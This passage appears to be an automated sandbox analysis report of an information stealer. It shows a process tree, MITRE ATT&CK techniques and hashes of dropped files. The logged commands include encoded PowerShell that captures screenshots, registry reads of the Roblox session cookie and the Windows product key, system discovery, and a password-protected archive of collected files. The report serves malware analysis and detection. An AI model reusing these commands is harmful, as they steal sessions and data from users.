      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5212
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ujk4ykw\1ujk4ykw.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3200
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES45B.tmp" "c:\Users\Admin\AppData\Local\Temp\1ujk4ykw\CSC4D1A6662E0D442D08D24916B8DC1280.TMP"
        7⤵
        
        PID:4996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5244
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4004
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:1500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2328
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1852
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2896
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:1516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3120
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3140
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2992
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:1956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI42002\rar.exe a -r -hp"6969" "C:\Users\Admin\AppData\Local\Temp\7IILv.zip" *"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3736
    - - C:\Users\Admin\AppData\Local\Temp\_MEI42002\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI42002\rar.exe a -r -hp"6969" "C:\Users\Admin\AppData\Local\Temp\7IILv.zip" *
        5⤵
        Executes dropped EXE
        
        PID:3420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5124
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:5996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3468
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:4708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5100
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:1904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5532

C:\Users\Admin\AppData\Roaming\XenoManager\bound.exe
C:\Users\Admin\AppData\Roaming\XenoManager\bound.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
MD5 22e796539d05c5390c21787da1fb4c2b
SHA1 55320ebdedd3069b2aaf1a258462600d9ef53a58
SHA512 d9cc0cb22df56db72a71504bb3ebc36697e0a7a1d2869e0e0ab61349bda603298fe6c667737b79bf2235314fb49b883ba4c5f137d002e273e79391038ecf9c09
TLSH
T15061DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

bound.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\bound.exe.log
Size 226B
SHA256 494398ec6108c68573c366c96aae23d35e7f9bdbb440a4aab96e86fcad5871d0
MD5 1294de804ea5400409324a82fdc7ec59
SHA1 9a39506bc6cadf99c1f2129265b610c69d1518f7
SHA512 033905cc5b4d0c0ffab2138da47e3223765146fa751c9f84b199284b653a04874c32a23aae577d2e06ce6c6b34fec62331b5fc928e3baf68dc53263ecdfa10c1
TLSH
T12ED02330337164D5445A3FC5195D768D81FF0541B674EF252545255DD8340573B311D3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6a6f7a56ec1088ade2c4018be88ae88bf1759de1efd9ac020fe14852d4e7f805
MD5 e803a75b4e616c0a284067137e910f41
SHA1 d80bd19bb0f1814b44a7cec0563d576f8908f784
SHA512 8c43620f02c9734d98e7abd77667c6ffc9b1587f8b6fb440c23d88d0ede3a04930a4d17200cf793c3589a409b68d9e20f4170c0bfff9d0120b67d75ff458deff
TLSH
T1C9215633B39CC135C8D9117A1088AD01B2B5C3CB449E8E9B6B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d00011caf0cf0ab2b7c57dc4df7d785b173e0d1d0a822289616b3d2d40ea8f25
MD5 a15e9678b8b6a44c6751b67bde4fb338
SHA1 6ed88be7b08fc5862c4eae04d3de9a47d1a0d205
SHA512 d8f141e1f3ea5472b361d2e118cac5cafb6055f5f89bbeb4c1f7d3661e2697dc2391cb9fda01050f2e8d54d49c9e774b0016663d748770280174eda38d716bf4
TLSH
T1E1218633B7ACC135C8D9117A208CAD11B2B5C3C7449ECE8B6B84C518A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

25baleei.as2

Path C:\Users\Admin\AppData\Local\Temp\25baleei.as2
Size 204KB
SHA256 720685dd6ca97e57e27256ab84b17a2d72519d090a1e54b0196b06ea72e058ee
MD5 4d2ceadf82e4c90d4a69b9d5929b68fd
SHA1 f6e6c46c0bbe0daeb80f7d2033448e4c1fbc835b
SHA512 e30b33fbac285d3967015c3c7425248e6d6f94dd8196a8f749c4561f3c208773b3c94e84d8b95c9b671459a990bc85d0ccb37d814978f0b6935d59c850b8cef5
SSDEEP 96:B9HU+bGz83uxDLjGQLBK31NfR4J+MCXkFr+MFcjtk4Q9/2jdEbjBHMsDETbiIqOp:B90+G83uxXBBK31GkSJYEJH7DNspU
TLSH
T1D414EF0E5F343722CDBD817669E644A35D7CF03F8B5366DA686114B4CEE3652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3a4kkegc.pzx

Path C:\Users\Admin\AppData\Local\Temp\3a4kkegc.pzx
Size 138KB
SHA256 03d38eddf7b34888c9b849a63bb2d1742a16986c3120a1aa6af87a1a3c03a036
MD5 d3b26b205af6f605a1e441af7e4a3061
SHA1 4b82d9eefa2090203f49a04ec7daabf499252c02
SHA512 5146cd132f67154b133cbb21bfc6e9658018ff8e4f71258001a3eb11330752796ae68ac0141d59bd53f8190c1fe7541be76fcd8c2ad682be77ef7aa5ae41ab47
SSDEEP 192:9B+XuvBnl3JsueMEGvIW1/rcP2O8zpX67qpjVum0wkP:zeuvBnhJsueMEGvIW1DcP2OADVum0nP
TLSH
T116D3874B3A747002EDE59A721CE051BF5E3C716D8F55A5D428B620688EF2853B23E4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI42002\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI42002\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI42002\_asyncio.pyd
Size 38KB
SHA256 30e350096b0146f650da159fa8c1566814f4f251b0314963a1f306883d2d5656
MD5 8e5b61addae12ec17a18b7b4174e0bd6
SHA1 411a719f33d2f13bfbe5febf25d2b03150ea460a
SHA512 9dde0f3bbc190b8ba6f24b7acaa23f74876024e363926e85804b9bbb7641b36d17364043224a4ac52d4de470bcd75af6ea9cd8e42a3a5b3d4980e753351436a0
SSDEEP 768:VKi9KwLmUUqHEhrEotBsA5pNtIhvntKo8y++RYT2Ip4uU8bxf1mleYq9Ir5:VPKwLmxqHEhrftBsAJtIhvntv8y+kR9/
TLSH
T10C03B0C7C6A49107FAA39D3162E4ED42F934AFA370198B1A70DE51AE0F763D19702375
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI42002\_bz2.pyd
Size 50KB
SHA256 7b2d8383e9d9ad507834a90f61588253bc7f90be2a492bf43484f0313fdcc5c4
